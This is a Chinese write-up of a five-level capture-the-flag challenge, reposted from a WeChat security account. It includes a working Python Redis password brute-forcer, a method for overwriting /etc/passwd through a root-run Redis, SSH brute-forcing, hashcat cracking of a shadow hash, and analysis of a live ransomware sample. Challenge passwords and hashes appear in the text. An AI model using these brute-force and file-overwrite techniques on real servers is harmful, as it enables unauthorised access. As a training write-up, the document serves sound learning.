首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >我是如何通关信安之路巅峰挑战赛的

我是如何通关信安之路巅峰挑战赛的

作者头像
信安之路
发布2018-10-18 10:48:55
8800
发布2018-10-18 10:48:55
举报
文章被收录于专栏:信安之路信安之路

本文作者:jianghuxia(本次信安之路巅峰挑战赛唯一一个坚持到最后通关的小伙伴)

额,大家好,我是菜鸡,这次比赛的writeup如下,orzorz

Level_1
欢迎参加首届信安之路巅峰挑战赛,第一关的入口:

http://wifiseciloveyouxazl.xazlsec.com

获得key之后,通过后台发送key将获得第二关的入口信息,祝你好运!

选择题为主,最后一题例外,为此,还抓了个包,研究了下js脚本

看下脚本

火狐抓个包,得到key?这tm什么原理。

Level_2
恭喜通关第一关,第二关入口:

http://nizhidaoqianduanyoushama.xazlsec.com

获得key之后,通过后台发送key将获得第三关的入口信息,祝你好运!

我滴个天啊。。。。。弱密码随意登陆。。。。。不好意思,这题我真是非预期解法,具体的预期解法,之前信安之路文章已发,就不仔细讲述啦!

得到第二关答案key:2c4b23c265c3e834f31024533565f2be

Level_3
恭喜完成第二关,第三关的入口:

http://honglanduikburongyiya.xazlsec.com

获得key之后,通过后台发送key将获得第四关的入口信息,祝你好运!

这题,学到的东西很多,坑点多,但就是好玩。

日常扫端口

没发现啥(这时候也没全tcp端口扫描),后面出题老哥放出新提示

上网搜搜,嗯 ,6379 Redis很有可能哦。

尝试一波,发现6379端口开的是redis服务,执行命令redis-cli -h 66.42.84.155 -p 6379,发现可以登录,但是需要密码。

尝试使用hydra爆破,但是不知为啥,爆破无效(这里上网搜索了下,说是hydra编译问题),于是尝试使用python脚本。

importredis
importsys
importgetopt
importdatetime
importtime

'''
author:Qing
try to login the redis database
-h help
-P password file
-a server address
-o port, default 6379
'''


defusage():
   print'''Options:
-h help
-P password file
-a server address
-o port, default 6379
'''


port= 6379 # default port
starttime= time.localtime()
print"start time: ", time.strftime("%Y-%m-%d %H:%M:%S", starttime)
opts, args= getopt.getopt(sys.argv[1:], "hP:a:o:")
forop, valueinopts:
   ifop== "-P":
       input_file= value
   elifop== "-a":
       host= value
   elifop== "-o":
       port= value
   elifop== "-h":
       usage()
       sys.exit()

fo= open("hydra_zidian.txt", "r+")
passwd= " "
while1:
   host= '66.42.84.155'
   port=6379
   line= fo.readline()
   passwd= line
   passwd= passwd[0:(len(passwd) -1)]  # filter the /n
   printpasswd
   rs= redis.Redis(host, port, db=0, password=passwd)  # AUTH password
   response= 'wrong passwd'
   try:
       response= rs.ping()  # use PING to judge the state of redis
   exceptredis.exceptions.ResponseError:
       pass
   # print response
   else:
       ifresponse== True:
           printresponse
           printpasswd
           fo.close()
           stoptime= time.localtime()
           print"stop time: ", time.strftime("%Y-%m-%d %H:%M:%S", stoptime)
           exit(0)
   ifnotline:
       print"no valid passwd"
       stoptime= time.localtime()
       print"stop time: ", time.strftime("%Y-%m-%d %H:%M:%S", stoptime)
       exit(0)

字典选择top100弱密码就行啦,开始爆破。

爆破成功,密码是:1q2w3e4r

嗯~,爆破是成功了,但是怎么利用redis漏洞呢,可以看看这篇文章:

http://www.freebuf.com/vuls/148758.html

其中详细指出了一些想法。

自己测试时,发现/root/.ssh/这个目录不在了,想着利用redis写入自己私钥,远程ssh连接上去的幻想也就破灭了。

后面尝试着,网上学习了一波,尝试着读下/etc/这个目录,喔!竟然存在,嘿嘿,那么是不是可以尝试/etc/passwd 文件实现任意账号密码的重置呢?具体操作请查看上述那个链接,下面是自己的操作:

好的,成功save后,尝试以root用户登陆,然后就这样登上去了,root用户登上去了?^--$--*/,还是有点吃惊的,赶快联系了下出题的大佬,问下就这样?这是预期解法?直接用root?后面问了下,redis是用root 身份启动,被菜鸡我刚好撞上了,直接把root密码重置了。甚至,不小心把/etc/shadow给搞坏了,抱歉啊,不是故意的。

查看下敏感信息

后面老哥给了我个admin的用户账号和密码,心虚的我也不好意思的接受了。咳,继续解题。回到root用户登陆后,用root权限转了一圈,看了下/tmp/history,以下为内容

[root@vultr tmp]# cat history 
   1yum update
   2yum list | greprredis
   3yum list | grepredis
   4yum install redis
   5redis-cli
   6iptables
   7iptables -L
   8iptables -L-F
   9iptables  -F
  10redis-cli
  11yum install redis-server
  12 wgethttp://download.redis.io/releases/redis-3.2.12.tar.gz
  13tar xzfv redis-3.2.12.tar.gz 
  14 cdredis-3.2.12
  15 ls
  16 make
  17 ls
  18 cd../
  19 rm-rf*
  20 wgetwgethttp://download.redis.io/releases/redis-2.8.17.tar.gz
  21tar xzfv redis-2.8.17.tar.gz 
  22yum install gcc
  23yum install cc
  24yum install g++
  25 cdredis-2.8.17
  26 make
  27 makeinstall
  28 cd../
  29redis -cli
  30redis-cli
  31 cdredis-2.8.17/s
  32 cdredis-2.8.17/
  33 ls
  34 cdsrc/
  35l
  36 ls
  37 cd../
  38 vimredis.conf 
  39yum install vim
  40 ls
  41 vimredis.conf 
  42 cdsrc/
  43./redis-server 
  44./redis-server &
  45 ps-ef
  46ifconfig
  47 cd
  48useradd key P@ssword123
  49useradd key
  50passwd key
  51 cat/etc/shadow
  52 ls
  53 mkdir.ssh
  54key 的明文密码就是下一关通关密语
  55 exit
  56 ls-la
  57 cat.bash_history 
  58 exit
  59quit
  60 exit
  61 ls
  62 cdredis-2.8.17
  63 ls
  64 cdsec
  65 cdsrc
  66 vimredis-server 
  67redis-server 
  68redis-cli -h127.0.0.1 -p6379shutdown
  69netstat -tunlp
  70redis-server 
  71netstat -tunlp
  72./redis-server 
  73redis-cli ../redis.conf &
  74netstat -tunlp
  75jobs 
  76redis-server ../redis.conf &
  77netstat -tunlp
  78 cd/home/
  79 ls
  80 cdkey/
  81 ls
  82 ls-al
  83 cd..
  84 cd
  85 cd/root/
  86 ls
  87passwd key
  88 cd/root/.ssh/
  89 ls
  90 cd..
  91 ls
  92 ls-al
  93 cd.ssh/
  94 ls
  95 ls-al
  96 cd..
  97 rm-rf.ssh/
  98 cd/home/
  99 ls
 100 cdkey/.ssh
 101 mkdirkey/.ssh/
 102 cd/home/
 103 ls
 104 cdkey/
 105 cd.ssh/
 106 ls
 107 rmauthorized_keys 
 108 cd
 109history 
 110 cd/home/key/.ssh/
 111 ls
 112 catauthorized_keys 
 113 rmauthorized_keys 
 114 ls
 115 rmauthorized_keys 
 116 cd..
 117 cd
 118useradd test
 119useradd guest
 120useradd admin
 121useradd redis
 122passwd test
 123passwd guest
 124passwd admin
 125 mkdir/home/admin/.ssh/
 126 mkdir/home/test/.ssh/
 127 mkdir/home/guest/.ssh/
 128 ls
 129 cd/home/
 130 ls-L1
 131 ls
 132 cdadmin/
 133 ls
 134 ls-al
 135 cd..
 136 ls
 137 cd.
 138 cd
 139 wgethttps://cowtransfer.com/s/84d80d0d7b3c45
 140 wgethttps://static.cowtransfer.com/84d80d0d-7b3c-4539-932d-30c3f0869538/%E9%AB%98%E9%A2%91%E5%AD%97%E5%85%B8.zip?e=1537629504&token=rkrC3sADAVnBtSQ_YTQgxi-3TEVapbu6rxmtmg0v:IDeOMk2XNjOwrk-mcTr6wnRjM84=&sign=484933f3a024bcab2d8f29c659aa8aa9&t=5ba65d40&attname=%E9%AB%98%E9%A2%91%E5%AD%97%E5%85%B8.zip
 141netstat -tunlp
 142history > /tmp/history
 143 cd/tmp/
 144 vimhistory 
 145 exit
 146passwd test
 147passwd admin
 148passwd gue
 149passwd guest
 150history > /tmp/history

em~,我以为我找到答案了,你肯定也看到了P@ssword123,想多了,因为下面的命令告诉我们,大佬改了密码。

先再看看/etc/shadow,en~,密码的hash值都有,不是说key 的明文密码就是下一关通关密语吗?那试试爆破key用户的hash值咯。结果再爆破这里,巨坑,有两种工具可以爆破,一种john,一种hashcatjohn不知啥原因,kaliubuntu下均报错,折腾许久,还是没弄好,就去搞鼓hashcat

hashcat用的是windows版的,但是死活爆破不出来,这是我使用的是john的自带字典rockyou.txt,后面一直换字典,还是爆不出来。厚着脸皮去问出题大佬,大佬给了点提示,仔细看history文件,看了半天,还是没看出啥来,大佬看不下去了,字典在里面。哦~,于是我懂了。上面的history文件有这两条记录

打开https://cowtransfer.com/s/84d80d0d7b3c45,提示了

140行的url经过URLdecode后是这样的:

https://static.cowtransfer.com/84d80d0d-7b3c-4539-932d-30c3f0869538/高频字典.zip?e=1537629504&token=rkrC3sADAVnBtSQ_YTQgxi-3TEVapbu6rxmtmg0v:IDeOMk2XNjOwrk-mcTr6wnRjM84=&sign=484933f3a024bcab2d8f29c659aa8aa9&t=5ba65d40&attname=高频字典.zip

更是提醒我们要用这个字典去跑keyhash值,之前我也有看到这个,还打开过,但是觉得很莫名其妙,听到大佬的提示,突然悟了。是我太菜了,orz

于是下载高频字典.zip,然后开始爆破,破破破,不知道怎么破请看 Hash 破解神器:Hashcat 的简单使用

https://blog.csdn.net/mydriverc2/article/details/41384853

构造以下命令:

hashcat64.exe -m 1800 -a 0 -o found.txt crack.hash 字典.txt

简单描述下这条命令的意思:如果hashcat字典.txt中跑出的 hash 值与crack.hash中所求内容相同,就将字典.txt找到的对应值写入found.txt中。

于是找啊找,跑啊跑,发现跑完刚刚下载的所有高频字典.zip里的文件还是没找到啊,于是自己本地建了个key用户测试了下,发现可以跑出来啊。感觉出题大佬被我坑了(之前直接的redis命令写入,把/etc/passwd写坏了),后面问了下,果然,之前的那条keyhash值是跑不出来的。额。。。自作自受啊。出题老哥后面重新给了个sha512的值

$6$ZkfV4HlR$7hk5IVzAVIq1gGLJo254qMm9LT6YrnUy7iATOTc8das8pOwGPWzKMlWTczMjp5fAyYFQ1SMe/K.FIGBAX/0590

执行命令:hashcat64.exe -m 1800 -a 0 -o found.txt crack.hash 55泄漏门(部分).txt,秒破

查看found文件:

第三关最终的KEY1314woaini1314

听说后面这题是这样的,觉得难度就应该降低挺多的了

Level_4
恭喜完成第三关,第四关的入口是:

http://zuohaoyingjixiangyinghennan.xazlsec.com

获得key之后,通过后台发送key将获得第五关的入口信息,祝你好运!

打开网页是这样的(我刚做这题的时候,页面是没有任何消息的,摸索好一阵子)

打开网址https://cowtransfer.com/s/023ab1f54dd04c,提供了一个压缩包HellWorld.pcapng进行下载。

wireshark三板斧试下,很快就会发现其中的http流存在提示,有个压缩包,里面有私钥和公钥文件。除此之外明确,攻击者内网ip:10.0.3.111,被攻击ip:173.82.235.146(攻击者的外网ip182.150.21.33,估计出题老哥这题是在虚拟机抓的,所以会有内外网ip)

而分组1006110956则分析出以下内容:

http://dynupdate.noip.com/settings.php?username=C3A37087469&pass=HMAC{yuyvphyx4snkqvtgt7kiyiamtra=}

<?xmlversion="1.0"?>
<noip_host_listemail="C3A37087469"enhanced="false"webserver="">
 <domainname="ddns.net"type="free">
   <hostname="cherishao"group=""wildcard="false"/>
 </domain>
</noip_host_list>

http://dynupdate.noip.com/ducupdate.php?username=C3A37087469&h[]=cherishao.ddns.net&ip=182.150.21.33&pass=HMAC{qq6tthdbubqfp7d+t0wrgo6pykg=}

其中有个username=C3A37087469,这个是接下来的线索。另外,值得一提的是passwd.jpg这个图片,这个http传输载体tcp传输时,存在丢包现象,所以单纯的http流追踪是找不到回应的包,只能通过追踪tcp流查找重传的数据。

很明显,是个图片,不过是base64格式,这个需要自行通过html标签img使图片显示在网页中,操作一番,如下

好的,我们现在得到了*mGX3Y-d。再仔细看看题目还有个神秘代码,

UJxgqdNUuH2I5EDDXgXvhFleJiVxeOvZBLXiLJ3lTq+lTRg7eSMR4++CZwe2z7vFh5CqETYeoZ7fAUWT4iCMMuap2iG/OfbKV2JN2SFrpCKCmSfnlxKIF02KTUyI99Ip/06LtNlmAIBtWisi0Ijr67lq+2HKQgxu5KaaNQpzohk=

这个通过之前压缩包中的rsa私钥文件直接解密,会得到以下内容eK8}vD3=

好的做到这里,我有话要讲,那个时候,再看了下题目

再联系上面得到的消息,我用ubuntussh服务尝试爆破了207.148.27.12022端口,其中爆破字典我选择了top100的弱密码,并且添加了*mGX3Y-deK8}vD3=eK8}vD3=*mGX3Y-d这两个密码进去,但是爆破没结果。而真相是,过了一天,我用xshell再次连接时,直接root用户,再以eK8}vD3=*mGX3Y-d登进去了,登进去了。(这里之前问了出题老哥,老哥说设置了ssh验证次数为5次,猜测是不是这个原因导致ubuntuhydra没有成功爆破)

密码是eK8}vD3=*mGX3Y-d

登录成功后,第一件事就是查看history,还是发现了一些东西,比如说icmpsh_m.py,刚开始以为这个是linux提权的后门,理直气壮去找老哥,老哥说不是这个。好吧继续找。

然后往下翻翻看到了这个

有个很明显的目录/etc/ssh/,下载了个XAZLER.exe

打开后是这样的

细心的你们一定发现,上面有提示“请按任意键继续”,嗯,但是我没按,直接关掉了(那个时候我只要多按下任意一个键,key就会出来)。然后我又继续往下探索,发现了存在一个C3A37087469的用户,咦!

其中有个key.sh,打开看下

#@Cherishao 

echo“Goodjob!!"

:) Congratulations, youhavecomehere. 

  However, youneedahigherlevelofpermissions!!!

  Itissaidthathigherprivilegepasswordsaremorecomplicated(16bit).

到这里,想了好久还是没思路,厚着脸皮去问出题老哥,发了一些解题截图过去,老哥说:“你是不是傻啊,再随便按个键啊”,然后就是下面这个样子(tm内心一万匹草泥马飞奔)

好吧,得到了key,下一关的钥匙。

在其中的解题过程中,此题的出题老哥,教了我好些应急响应、溯源等知识,贼喜欢。

这里放个学习链接, 干货 | 黑客入侵?这里有详细的应急排查手册:

https://www.leiphone.com/news/201706/oCidY2C8IPHt82mF.html

解题过程中,老哥为了加快我们的解题速度,还放出了个提示:

后面做完题,感觉这提示没啥用啊。后面问了下

好吧,的确有这样的想法,当时我记得ip反查都试了一遍。

Level_5
恭喜完成第四关,第五关是一个病毒分析题,样本下载地址:

https://pan.baidu.com/s/1mngKICMpg4nSekfBp0qpPw       密码:fbox

本题有两个问题:

1:RSA公钥是什么?

2: 黑客服务器的IP地址是什么?

这题啊,大家解压压缩包的时候千万小心,这是个真的病毒,嗯~,还好我放在虚拟机里了,不然,物理机得遭殃。

看到了题目,想了想,有点意思啊,还问黑客服务器的IP地址是什么?。玩玩呗,虚拟机运行下这个病毒软件,发现文件数据被加密了,还发现了这个

然后我就去下载onion浏览器了,弄了半天没弄好,去问出题老哥,我觉得那个时候老哥都被我逗笑了。

然后老哥给了提示,抓包,这个其实也想到了,但是想归想到,操作起来发现巨坑,因为病毒传送信息的服务器炸了,导致抓包的时候没有看到http流,后面仔细看了半天,才找到下图的线索。

是的,黑客服务器的IP地址就是137.74.163.43,就是这么简单。但是让我头疼的是第一个问题,rsa的公钥是啥?我滴个天啊,摆明要逆向啊。去问问出题老哥有没其他做法,老哥指点了一条明路:内存提串,后面使用了火绒剑,这个工具,贼好用。仔细分析了很久,火绒剑监控一下,就能看到这个病毒exe相应的行为了,在其运行完毕后,最终还会释放一个PE,而这个PE是没有任何混淆的,可以清晰使用IDA查看到其中的RSA公钥。当然其中需要dump一下,这里请教了下出题老哥:OD本身能dumpPEtoolSloadPE也都能dump。好吧,那就dump一下,dump出来后,直接扔到IDA中,得到RSA公钥

得到的最后RSA公钥为

-----BEGINPUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCyvXYYjSQqu7nWxB8HH/9SIaTd ZZ5Es9nv2KQnPcUV6F0ZHITClTZvoa7PbtG77q76xBNdvTH8VIXGjn+d58xK8jlE krC/N87iWPpG0jgmeY/ytR/gyArojmDFFnt11WP2koi2sjWzz1UXv8SC/aHHqfHe wgWrhFLmlhxrBxo46wIDAQAB -----ENDPUBLIC KEY-----

黑客服务器ip:137.74.163.43

这里有个尴尬的地方,因为我是先拿到ip,提交答案后,直接“完成所有挑战”,后面跟出题老哥反映下,再继续去找公钥的答案。

到此结束,大佬们,再见。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-09-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Level_1
  • Level_2
  • Level_3
  • Level_4
  • Level_5
相关产品与服务
云数据库 Redis
腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档